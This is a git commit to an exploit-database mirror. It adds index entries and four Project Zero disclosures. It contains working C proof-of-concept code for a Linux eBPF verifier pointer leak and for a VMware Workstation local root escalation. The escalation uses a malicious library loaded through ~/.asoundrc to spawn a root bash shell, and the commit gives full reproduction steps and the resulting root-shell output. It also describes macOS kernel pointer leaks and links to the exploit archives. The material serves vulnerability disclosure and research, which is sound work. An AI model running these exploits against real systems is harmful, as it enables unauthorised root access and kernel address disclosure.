DB: 2017-05-23
4 new exploits Apple macOS - '32-bit syscall exit' Kernel Register Leak Apple macOS - 'stackshot' Raw Frame Pointers Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation Joomla! 3.7.0 - 'com_fields' SQL Injection Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)
This commit is contained in:
parent
6351914249
commit
bc7f6091d4
5 changed files with 291 additions and 1 deletions
|
@ -5504,6 +5504,9 @@ id,file,description,date,author,platform,type,port
|
|||
42021,platforms/windows/dos/42021.txt,"Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation",2017-05-17,"Google Security Research",windows,dos,0
|
||||
42027,platforms/multiple/dos/42027.html,"Mozilla Firefox 50 < 55 - Stack Overflow Denial of Service",2017-05-17,"Geeknik Labs",multiple,dos,0
|
||||
42040,platforms/windows/dos/42040.py,"Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)",2017-05-19,"Chance Johnson",windows,dos,0
|
||||
42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0
|
||||
42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0
|
||||
42048,platforms/linux/dos/42048.c,"Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer",2017-05-22,"Google Security Research",linux,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -8996,6 +8999,7 @@ id,file,description,date,author,platform,type,port
|
|||
41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-03-22,"Andrey Konovalov",linux,local,0
|
||||
41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0
|
||||
42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0
|
||||
42045,platforms/linux/local/42045.c,"VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation",2017-05-22,"Google Security Research",linux,local,0
|
||||
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
|
||||
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
|
||||
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
|
||||
|
@ -37874,7 +37878,7 @@ id,file,description,date,author,platform,type,port
|
|||
42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
|
||||
42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
|
||||
42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
|
||||
42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection",2017-05-19,"Mateus Lino",php,webapps,80
|
||||
42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)",2017-05-19,"Mateus Lino",php,webapps,80
|
||||
42034,platforms/java/webapps/42034.txt,"Oracle PeopleSoft - Server-Side Request Forgery",2017-05-19,ERPScan,java,webapps,0
|
||||
42035,platforms/php/webapps/42035.txt,"Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption",2017-05-19,"David Tomaschik",php,webapps,0
|
||||
42036,platforms/xml/webapps/42036.txt,"SAP Business One for Android 1.2.3 - XML External Entity Injection",2017-05-19,"Ravindra Singh Rathore",xml,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
120
platforms/linux/dos/42048.c
Executable file
120
platforms/linux/dos/42048.c
Executable file
|
@ -0,0 +1,120 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251
|
||||
|
||||
When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
|
||||
it dumps all processed instructions to a user-accessible buffer in
|
||||
human-readable form using print_bpf_insn(). For instructions with
|
||||
class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:
|
||||
|
||||
} else if (class == BPF_LD) {
|
||||
if (BPF_MODE(insn->code) == BPF_ABS) {
|
||||
[...]
|
||||
} else if (BPF_MODE(insn->code) == BPF_IND) {
|
||||
[...]
|
||||
} else if (BPF_MODE(insn->code) == BPF_IMM) {
|
||||
verbose("(%02x) r%d = 0x%x\n",
|
||||
insn->code, insn->dst_reg, insn->imm);
|
||||
} else {
|
||||
[...]
|
||||
}
|
||||
} else if (class == BPF_JMP) {
|
||||
|
||||
This is done in do_check(), after replace_map_fd_with_map_ptr() has
|
||||
executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
|
||||
pointer in all instructions with class BPF_LD, mode BPF_IMM and size
|
||||
BPF_DW (map references).
|
||||
|
||||
So when verbose verification is performed on a program with a map
|
||||
reference, the lower half of the pointer to the map becomes visible to
|
||||
the user:
|
||||
|
||||
$ cat bpf_pointer_leak_poc.c
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, /* zero is reserved opcode */ \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
int bpf_(int cmd, union bpf_attr *attrs) {
|
||||
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
union bpf_attr create_map_attrs = {
|
||||
.map_type = BPF_MAP_TYPE_ARRAY,
|
||||
.key_size = 4,
|
||||
.value_size = 1,
|
||||
.max_entries = 1
|
||||
};
|
||||
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
|
||||
if (mapfd == -1)
|
||||
err(1, "map create");
|
||||
|
||||
struct bpf_insn insns[] = {
|
||||
BPF_LD_MAP_FD(BPF_REG_0, mapfd),
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0),
|
||||
BPF_EXIT_INSN()
|
||||
};
|
||||
char verifier_log[10000];
|
||||
union bpf_attr create_prog_attrs = {
|
||||
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
|
||||
.insn_cnt = ARRSIZE(insns),
|
||||
.insns = (uint64_t)insns,
|
||||
.license = (uint64_t)"",
|
||||
.log_level = 1,
|
||||
.log_size = sizeof(verifier_log),
|
||||
.log_buf = (uint64_t)verifier_log
|
||||
};
|
||||
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
|
||||
if (progfd == -1)
|
||||
err(1, "prog load");
|
||||
|
||||
puts(verifier_log);
|
||||
}
|
||||
|
||||
/*
|
||||
$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
|
||||
$ ./bpf_pointer_leak_poc
|
||||
0: (18) r0 = 0xd9da1c80
|
||||
2: (b7) r0 = 0
|
||||
3: (95) exit
|
||||
processed 3 insns
|
||||
|
||||
Tested with kernel 4.11.
|
||||
*/
|
81
platforms/linux/local/42045.c
Executable file
81
platforms/linux/local/42045.c
Executable file
|
@ -0,0 +1,81 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
|
||||
|
||||
This vulnerability permits an unprivileged user on a Linux machine on
|
||||
which VMWare Workstation is installed to gain root privileges.
|
||||
|
||||
The issue is that, for VMs with audio, the privileged VM host
|
||||
process loads libasound, which parses ALSA configuration files,
|
||||
including one at ~/.asoundrc. libasound is not designed to run in a
|
||||
setuid context and deliberately permits loading arbitrary shared
|
||||
libraries via dlopen().
|
||||
|
||||
To reproduce, run the following commands on a normal Ubuntu desktop
|
||||
machine with VMWare Workstation installed:
|
||||
|
||||
|
||||
~$ cd /tmp
|
||||
/tmp$ cat > evil_vmware_lib.c
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <err.h>
|
||||
|
||||
extern char *program_invocation_short_name;
|
||||
|
||||
__attribute__((constructor)) void run(void) {
|
||||
if (strcmp(program_invocation_short_name, "vmware-vmx"))
|
||||
return;
|
||||
|
||||
uid_t ruid, euid, suid;
|
||||
if (getresuid(&ruid, &euid, &suid))
|
||||
err(1, "getresuid");
|
||||
printf("current UIDs: %d %d %d\n", ruid, euid, suid);
|
||||
if (ruid == 0 || euid == 0 || suid == 0) {
|
||||
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
||||
err(1, "setresxid");
|
||||
printf("switched to root UID and GID");
|
||||
system("/bin/bash");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
|
||||
/tmp$ cat > ~/.asoundrc
|
||||
hook_func.pulse_load_if_running {
|
||||
lib "/tmp/evil_vmware_lib.so"
|
||||
func "conf_pulse_hook_load_if_running"
|
||||
}
|
||||
/tmp$ vmware
|
||||
|
||||
|
||||
Next, in the VMWare Workstation UI, open a VM with a virtual sound
|
||||
card and start it. Now, in the terminal, a root shell will appear:
|
||||
|
||||
|
||||
/tmp$ vmware
|
||||
current UIDs: 1000 1000 0
|
||||
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
|
||||
bash: no job control in this shell
|
||||
~/vmware/Debian 8.x 64-bit# id
|
||||
uid=0(root) gid=0(root) groups=0(root),[...]
|
||||
~/vmware/Debian 8.x 64-bit#
|
||||
|
||||
|
||||
I believe that the ideal way to fix this would be to run all code that
|
||||
doesn't require elevated privileges - like the code for sound card
|
||||
emulation - in an unprivileged process. However, for now, moving only
|
||||
the audio output handling into an unprivileged process might also do
|
||||
the job; I haven't yet checked whether there are more libraries VMWare
|
||||
Workstation loads that permit loading arbitrary libraries into the
|
||||
vmware-vmx process.
|
||||
|
||||
Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
|
||||
*/
|
57
platforms/macos/dos/42046.txt
Executable file
57
platforms/macos/dos/42046.txt
Executable file
|
@ -0,0 +1,57 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149
|
||||
|
||||
The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
|
||||
binaries in compatibility mode. 32-bit binaries use partly separate
|
||||
syscall entry and exit paths.
|
||||
|
||||
To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
|
||||
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
|
||||
turn calls return_from_trap, which is implemented in
|
||||
osfmk/x86_64/idt64.s.
|
||||
|
||||
return_from_trap() normally branches into return_to_user relatively
|
||||
quickly, which then, depending on the stack segment selector, branches
|
||||
into either L_64bit_return or L_32bit_return. While the L_64bit_return
|
||||
path restores all userspace registers, the L_32bit_return path only
|
||||
restores the registers that are accessible in compatibility mode; the
|
||||
registers r8 to r15 are not restored.
|
||||
|
||||
This is bad because, although switching to compatibility mode makes it
|
||||
impossible to directly access r8..r15, the register contents are
|
||||
preserved, and switching back to 64-bit mode makes the 64-bit
|
||||
registers accessible again. Since the GDT always contains user code
|
||||
segments for both compatibility mode and 64-bit mode, an unprivileged
|
||||
32-bit process can leak kernel register contents as follows:
|
||||
|
||||
- make a normal 32-bit syscall
|
||||
- switch to 64-bit mode (e.g. by loading the 64-bit user code segment
|
||||
using iret)
|
||||
- store the contents of r8..r15
|
||||
- switch back to compatibility mode (e.g. by loading the 32-bit user
|
||||
code segment using iret)
|
||||
|
||||
The attached PoC demonstrates the issue by dumping the contents of
|
||||
r8..r15. Usage:
|
||||
|
||||
$ ./leakregs
|
||||
r8 = 0xffffff801d3872a8
|
||||
r9 = 0xffffff8112abbec8
|
||||
r10 = 0xffffff801f962240
|
||||
r11 = 0xffffff8031d52bb0
|
||||
r12 = 0x12
|
||||
r13 = 0xffffff80094018f0
|
||||
r14 = 0xffffff801cb59ea0
|
||||
r15 = 0xffffff801cb59ea0
|
||||
|
||||
It seems like these are various types of kernel pointers, including
|
||||
kernel text pointers.
|
||||
|
||||
If you want to compile the PoC yourself, you'll have to adjust the
|
||||
path to nasm in compile.sh, then run ./compile.sh.
|
||||
|
||||
This bug was verified using the following kernel version:
|
||||
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan 9 23:07:29 PST 2017;
|
||||
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42046.zip
|
28
platforms/macos/dos/42047.txt
Executable file
28
platforms/macos/dos/42047.txt
Executable file
|
@ -0,0 +1,28 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164
|
||||
|
||||
This is an issue that allows unentitled root to read kernel frame
|
||||
pointers, which might be useful in combination with a kernel memory
|
||||
corruption bug.
|
||||
|
||||
By design, the syscall stack_snapshot_with_config() permits unentitled
|
||||
root to dump information about all user stacks and kernel stacks.
|
||||
While a target thread, along with the rest of the system, is frozen,
|
||||
machine_trace_thread64() dumps its kernel stack.
|
||||
machine_trace_thread64() walks up the kernel stack using the chain of
|
||||
saved RBPs. It dumps the unslid kernel text pointers together with
|
||||
unobfuscated frame pointers.
|
||||
|
||||
The attached PoC dumps a stackshot into the file stackshot_data.bin
|
||||
when executed as root. The stackshot contains data like this:
|
||||
|
||||
00000a70 de 14 40 00 80 ff ff ff a0 be 08 77 80 ff ff ff |..@........w....|
|
||||
00000a80 7b b8 30 00 80 ff ff ff 20 bf 08 77 80 ff ff ff |{.0..... ..w....|
|
||||
00000a90 9e a6 30 00 80 ff ff ff 60 bf 08 77 80 ff ff ff |..0.....`..w....|
|
||||
00000aa0 5d ac 33 00 80 ff ff ff b0 bf 08 77 80 ff ff ff |].3........w....|
|
||||
|
||||
The addresses on the left are unslid kernel text pointers; the
|
||||
addresses on the right are valid kernel stack pointers.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42047.zip
|
Loading…
Add table
Reference in a new issue